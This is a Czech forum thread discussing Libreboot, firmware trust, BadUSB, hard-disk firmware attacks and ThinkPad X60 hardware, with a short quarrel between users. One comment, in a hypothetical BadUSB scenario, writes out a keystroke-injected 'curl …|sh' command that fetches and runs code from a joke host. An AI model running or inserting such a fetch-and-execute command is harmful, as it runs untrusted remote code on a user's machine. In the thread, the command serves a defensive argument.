Libreboot je coreboot bez proprietárních blobů (diskuse)

[mikirc]

Neuzavřeme sázky? Kolik počítačů bude mít Libreboot už od výrobce, řekněme do konce roku 2020?

Budu optimista a tipuji 6.

[AlYoSHA]

To je stale pesimisticke. Typujem 8.

[Jendа]

Kolik počítačů má od výrobce ghc, xmonad, i3 nebo texlive? Co to říká o užitečnosti daných projektů?

[bhy]

+1

[Grunt]

Horší to je když si uvědomíš, že v ideálním případě by to tak mělo být ve 100% případů a jak daleko od toho ještě jsme. Spíš než k smíchu je to pěkně smutné.

[mikirc]

Tak ono by to potom nedostalo tu M$ známku a ta přeci je na tom nejdůležitější.

[Grunt]

To je fakt. To je hnus.

[astray]

PC Engines APU http://www.pcengines.ch/apu.htm

[Ruža Becelin]

Pro koho je tohle vlastne urcene?

BTW jeste mi tam jeste chybi LibreCPU (InteLibre CoreDuo ?), LibreChipset, LibreNIC, LibreUSB, a dalsi...

[mankind_boost]

Jardík už na tom prý jede

[mankind_boost]

Fake.

[mankind_boost]

Pro tvoji informaci, zakladam si novej ucet, uzij si to A doted sem nezjistil, za co se mi vlastne mstis. Jen me tesi, ze te to tak vytocilo.

[mankind_boost]

Jo, já jsem ten co to pořád řeší a nadává Co tu mám předvyplněno jako nick mě fakt nijak nezaměstnává

[mankind_boost]

No ze se tu vydavas za me, to neni nahoda To te muselo neco vytocit. A poradne A to je fajn.

[mankind_boost]

Když tomu potřebuješ věřit, tak prosím

[mankind_boost]

Tomu netreba verit, to je dokazatelny fakt. Kdyby te neco nevytocilo, tak bys tu nekradl nicky jak nejakej pubertak, to da prece rozum

[mankind_boost]

Btw, nadavam jen tem nevychovanym spratkum, kteri si to zaslouzi. Ke vsem ostatnim se chovam slusne Otazka za zlateho bludistaka: cim to je, ze nadavam zrovna tobe (hele ty jsi ten troll co porad utoci na hagaru, zejo?)?

[mankind_boost]

Ježiš, ty se naotravuješ s tím fňukáním. Nebudu krmit trolly, takže tohle je naposled, co na tebe reaguji.

[plan9ftw]

Takze to fakt ses ty ten antihagara troll. LOL

[Lol Phirae]

Na nějaké na zakázku designované embedded systémy je to použitelné (PC Engines Alix/APU). Jinak pro nikoho.

[Jendа]

Pro koho je tohle vlastne urcene?

Pro lidi, kteří potřebují lowlevel přístup k hardware a potřebují hackovat bootovací proces. A pro lidi, kteří se bojí bezpečnostních chyb v originálním firmware (schválně nepíšu backdoorů, protože ty jsou v hardware; i když třeba AntiTheft s 3G modemem otevírá netušené nové možnosti; ale anténa k tomu modemu lze odstranit pájkou).

BTW jeste mi tam jeste chybi LibreCPU (InteLibre CoreDuo ?), LibreChipset, LibreNIC, LibreUSB, a dalsi...

LibreCPU a LibreChipset. Ethernet je celkem jednoduchej. USB je horší.

[Jendа]

(drobný problém s těmi softcore procesory je, že momentálně neexistuje hardware, na kterém by šly spustit)

[pc2005]

Otevřenej ne (i když patenty Xilinxu na první generace FPGA by už měly vypršet). Pokud věříš čipu, tak by ta ao486 měla jít spustit klidně na parallelle .

[Jendа]

Pokud věříš čipu, tak by ta ao486 měla jít spustit klidně na parallelle .

No ale furt potřebuješ proprietární Xilinxové tooly, abys vygeneroval bitstream, ne? A k samotnému formátu bitstreamu žádná dokumentace neexistuje a k čipu už vůbec ne.

[pc2005]

Dá se to odhadnout (počet FF a LUT v HDL vs. počet obsazených FF a LUT v bitstreamu).

[pc2005]

P.S. Navíc si to můžeš naklikat v FPGA editoru a to by pak bitstream exploit injektor musel být schopen pochopit význam například sběrnice. To je nepravděpodobné (i když neříkám, že by se to do toho blobu nevešlo ).

[Ruža Becelin]

USB je horší.

Ano, hlavne po tom, co predvedli na Black Hatu

Jeste jsem zapomnel na LibreHDD, vzhledem k tomu, co za HW pohani dnesni disky a co vsechno se tam da nacpat...

[Jendа]

Disclaimer: Přednášku jsem neviděl, ale slyšel jsem o tom na pavlači, když to probíraly sousedky.

Ano, hlavne po tom, co predvedli na Black Hatu

Myslíš to BadUSB od Nohla? Osobně mi to přišlo jako slabota. Phantom keyboard je tady už dlouho (NSA Litoměřice vám ji umí dodat přes noc) a to reprogamování flashek je zajímavé z hlediska hackování („jak jsem flashku předělal na ovladač jaderného reaktoru“), ale z bezpečnostního mě to moc nevzrušuje. Rozumné operační systémy mají samozřejmě firewall driverů a zeptají se, než připojí nové zařízení - a když připojím flashku a systém mi napíše „Našel jsem HID vstupní zařízení, chceš ho připojit jako klávesnici?“ a „Zařízení zadalo <Alt><F2> curl b.nsasumperk.cz|sh<Return>“, tak se na toho, kdo mi tu flashku dal, usměju, informaci zavedu do systému GlobalEye a tím to končí.

A že to umí emulovat síťovku? Pokud nemáte rozbitej network manager (myslím ten typ software, ne tu konkrétní implementaci, která se naneštěstí jmenuje NetworkManager), tak vám po připojení síťovky přece nebude automaticky konfigurovat její DNS.

Jeste jsem zapomnel na LibreHDD, vzhledem k tomu, co za HW pohani dnesni disky a co vsechno se tam da nacpat...

HDD mi přijde jako zařízení, které toho moc udělat nemůže (kromě toho, že ta data smaže - což třeba disky Seagate dělají velmi rády a nemyslím si, že by to byl zrovna backdoor :). Neomezené DMA do paměti to nemá (to už spíš je problém řadič, který sedí typicky na PCIe a může si vynutit bus mastering) a s daty to moc manipulovat nemůže, protože ze systému mu chodí už zašifrované bloky.

[Lol Phirae]

Jeste jsem zapomnel na LibreHDD, vzhledem k tomu, co za HW pohani dnesni disky a co vsechno se tam da nacpat...

HDD mi přijde jako zařízení, které toho moc udělat nemůže (kromě toho, že ta data smaže - což třeba disky Seagate dělají velmi rády a nemyslím si, že by to byl zrovna backdoor :)

Ehm... Hard disk hacking

[Jendа]

Četl jsem a jediné co mě napadá je, že by si to neslo alternativní začátek s bootsektorem s rootkitem. Útočník to ale nemá zvenku jak spustit.

[kralyk z abclinuxu]

Tenhle hack IIRC předpokládá nešifrovaný disk...

[Jendа]

OTOH já mám na začátku disku GRUB, kernel a initramdisk s cryptsetupem (nemám moc jiných možností jak to nabootovat).

[kralyk z abclinuxu]

(nemám moc jiných možností jak to nabootovat).

No, to ne no, leda si s sebou nosit flashku nebo SD kartu, ale vrchol praktičnosti to není...

[xkucf03]

Nebo SecureBoot (kdyby tahle technologie pracovala ve prospěch uživatele). Ideálně mít právě ten coreboot/libreboot jako bezpečný startovací bod a pak z něj můžeš ověřit integritu boot sektoru, zavaděče nebo jádra.

[BFU]

A kdo overi integritu toho corebootu? Uz tady je problem s tim chain of trust :)

[xkucf03]

Přečteš si jeho zdrojáky a zkompiluješ si ho. Otázka je, kde vzít ten první důvěryhodný počítač, na kterém tohle udělat. Asi by šlo použít větší počet různě starých počítačů od různých výrobců a porovnat, zda výsledek je stejný. (že by byl ve všech stejný backdoor je nepravděpodobné)

[R]

Staci disassembler a skontrolovat ten vygenerovany kod.

[xkucf03]

Za předpokladu, že to kontroluješ na důvěryhodném počítači¹ a ten disassembler ti nekecá. Ale uznávám, že tohle je už hodně paranoidní

_{[1] a ten vezmeš kde?}

[ebik]

Nemluvě o tom, že ti může někdo pro disassembling podstrčit jiný kód, než se bude skutečně spouštět. Pokud už ten kód dostaneš až do děrovačky, tak si můžeš postavit mechanický disassembler nad děrnou páskou, tomu už by se věřit dalo - pokud bude zamčený v trezoru a bude se k němu chodit po předchozím prověření všeho možného (hmm, ale jak prověřit sítnici a nepoužít k tomu potenciálně zkompromitovaný hardware?).

[pavlix]

Chtělo by to návrat k hliněným tabulkám.

[xkucf03]

Proto jsem navrhoval radši to použití více různě starých počítačů – z nich si vyděruješ programy a porovnáš, jestli jsou díry na stejných místech.

[Grunt]

TPM?

[Ruža Becelin]

Myslíš to BadUSB od Nohla? Osobně mi to přišlo jako slabota.

Pokud se nenajde nejaky 0day v USB stacku - vzpomen si na Stuxnet, tam je jich to na nic neptalo. Ja vim, ze to bylo na Widlich, ale Linux zacina byt taky v hledacku, hlavne po tom, co prosaklo, ze NSA zameruje "technicky zdatne uzivatele", cimz nemyslim to ohledne linuxjournal.

HDD mi přijde jako zařízení, které toho moc udělat nemůže (kromě toho, že ta data smaže

Muze treba misto dat zapisovat nesmysly (k cemu jsou ti zasifrovana data, kdyz je neprectes). A taky - porad je to dual-core arm s dram, coz je prostredi pro beh cehokoli (nekde jsem mel odkaz, kde se na tm pokuseli rozbehnout linux).
V tom odkazu, co pastnul Lol Phirae je dual-core fenoceon jako controller a cortex m3, ktery udajne nic nedela - proc tam teda je, kdyz nic nedela, v dobe, kdy se setri na vsem?
Ten controller navic ovlada SATA interface, kde je obvykle zapnute DMA, otazka je, jestli se to neda vyuzit stejne jako Firewire, pokud ma clovek "spravny" firmware.
SSD uz je uplne za hranici, tak vi clovek houby, co se s daty deje, kam se ukladaji (muzes mit 256G SSD s dalsimi 256GB pro shadow copy a OS se to nemusi dozvedet).

Tohle uz je ale hodne v rovine spekulaci, ale trocha paranoie neuskodi

Radeji to utnem, nemusime krmit strejdu Googla zas tak moc

[Jendа]

Pokud se nenajde nejaky 0day v USB stacku

Jo, to je pravda, že by se to pak dál šířilo. Spíš než přímo v USB stacku je ale podle mě mnohem (mnohem!) víc chyb v ovladačích zařízení. Zrovna včera v noci jsem ladil, proč mi nefunguje CH34xx (hint: řádek 312 a dál - what could possibly go wrong? :) a pokud jsou drivery běžně napsané tímto stylem, tak teda potěš koště. Další důvod pro driver firewalling.

Ten controller navic ovlada SATA interface, kde je obvykle zapnute DMA

SATA AFAIK jenom streamuje data, kam do paměti se zapíšou určuje řadič → musel by být bug tam (taky už jsem viděl řadič (VT6420), který uměl softwarově havarovat).

[pc2005]

hint: řádek 312 a dál

Hehe, jaká krásná detekce NULL pointeru (ale tady to aspoň není inline funkce, tam to je mnohem víc na pěst). Jinak ale myslím, že mnoho těch testů se neprovádí a předpokládá se, že kernel drivery jsou sane. Už třeba to vytáhnutí priv dat předpokládá validní pointer.

[kralyk z abclinuxu]

Tak zrovna tohle mi nijak hrozný nepřijde. Ten pointer se tam zřejmě nastavuje někde v inicializační funkci (port_probe), takže driver může celkem spolehlivě předpokládat, že tam NULL nebude. Zjevně to není ten typ funkce, která by něco prováděla a mohla NULLem indikovat selhání, je to prostě getter.

[Jendа]

Já nemluvil o bezpečnosti, ale o funkci. Konkrétně tohle ti při každém open() přepíše nastavený baudrate, takže nejde použít třeba stty. A taky to při každém open() dělá znova celou inicializaci, což způsobí reset čipu a v tomto případě kvůli tomu i reset AVR, co je za ním.

[kralyk z abclinuxu]

Aha, ok.

[pc2005]

a cortex m3, ktery udajne nic nedela

Je otázka zda by ten Cortex M3 stíhal zasahovat do práce těch dvou rychlých ARMů. Pořád může existovat normální firmware modul, který ho používá (ten člověk by musel dekompilovat všechny firmware moduly, aby si byl jistý).

Nejspíš to bude pomocný procesor, který buď používají pro testování při provozu (ARMy "M" jsou malý). Nebo používá WD generickej čipset (seagate má tuším na zakázku).

Ten controller navic ovlada SATA interface, kde je obvykle zapnute DMA, otazka je, jestli se to neda vyuzit stejne jako Firewire, pokud ma clovek "spravny" firmware.

Diskový řadič pouze posílá data na signál (od DMA řadiče nebo od CPU). IDE PRD tabulka (cílový region a délka) se klasicky nastavuje driverem.

Zajímavý ale bude řešení toho SATA express portu (SATA+PCIe linka). Po PCIe se už dá zapisovat do hlavní RAM (ale to už zase bude nespíš s nějakým MMU pro PCIe).

[pc2005]

USB je horší.

Tak na USB full speed hosta jde použít PIC a nejspíš by šel bitbangovat na FPGA (blésmrt). A je dost možný, že budou existovat i nějaký phy bez integrovanýho firmware.

[malina]

Dá se tady v ČR někde sehnat ten LibreBoot X60?

[Jendа]

Nestačí sehnat běžnou x60/x61 a flashnout?

[malina]

Díky za reakci. Může někdo prosím potvrdit, že má Jenda pravdu?

[Václav "Darm" Novák]

V podstatě má. Ta Libreboot X60 má výhodu ve třech věcech: Někdo to tam naflashuje za tebe, má lepší wifi modul než originál X60 a dostaneš repas se zárukou. Na stranu druhou, raději bych řešil případné reklamace u nějaké české firmy co dělá repasy (jen by se asi hádali kvůli tomu librebootu, ale pokud vím, reklamaci HW závady nemůžou odmítnout kvůli zásahu do firmware, pokud tu HW závadu prokazatelně nezpůsobil ten zásah. Třeba uvařené CPU v mobilu kvůli taktování)

[malina]

Díky.

[Jendа]

jen by se asi hádali kvůli tomu librebootu

No tak se tam před reklamací vrátí původní firmware…

Btw. Binary situation

[pavlix]

Ono to funguje na x61?

[Jendа]

Myslel jsem, že jo, ale teď koukám, že ne.

[pavlix]

Škoda. Z mého pohledu je x60 mrtvá už jen proto, že je to 32bit a že zvládá pokud vím necelých 4 GB RAM (což jsou dvě víceméně nezávislé vlastnosti, to jen aby mě někdo nezačal poučovat o PAE). To jednak znamená nepodporu ze strany RH, což je pro mě momentálně relativně důležité, jednak to znamená zbytečnou nekompatibilitu se vším, co provozuju.

[Václav "Darm" Novák]

Pokud vím, tak je to (většinou) core2 duo a RAM s maximem na 4 GB.

[pavlix]

Minimálně ty x60, co se tu běžně seženou, core 2 podle mě nemívají. A pokud jde o 4 GB, ty se mi tam podařilo osadit, ale nikoliv už využít, ale to je podle všeho kvůli i945 chipsetu. Na thinkwiki vidím uvedené i core 2, ale nikdy jsem ještě x60 s core 2 neviděl.

[pc2005]

Jj je to problém čipsetu, i945 podporuje jen 32bit adresu paměti (tedy max 4GiB), ale protože neumí přemapovat PCI zařízení do prostoru nad 4GB, tak využije něco pod 4GB (ale to záleží na počtu zařízení a nastavení v registrech čipsetu). i965 by to už umět měla.

[pavlix]

Jo, i965 mi vždy všude fungovala krásně.

[xkucf03]

Nevíte někdo, jak je to s podporou virtualizace?

Na shop.gluglug.org.uk píší, že to má Core Duo T2400, což je podle Intelu 32-bit s podporou Intel® Virtualization Technology (VT-x) ovšem s poznámkou: This feature may not be available on all computing systems. A to jsem měl pocit, že se 32-bitové virtualizační procesory snad ani nedělaly.

[pavlix]

V případě, že tam budeš mít open source firmware, tak by se tě taková omezení neměly týkat.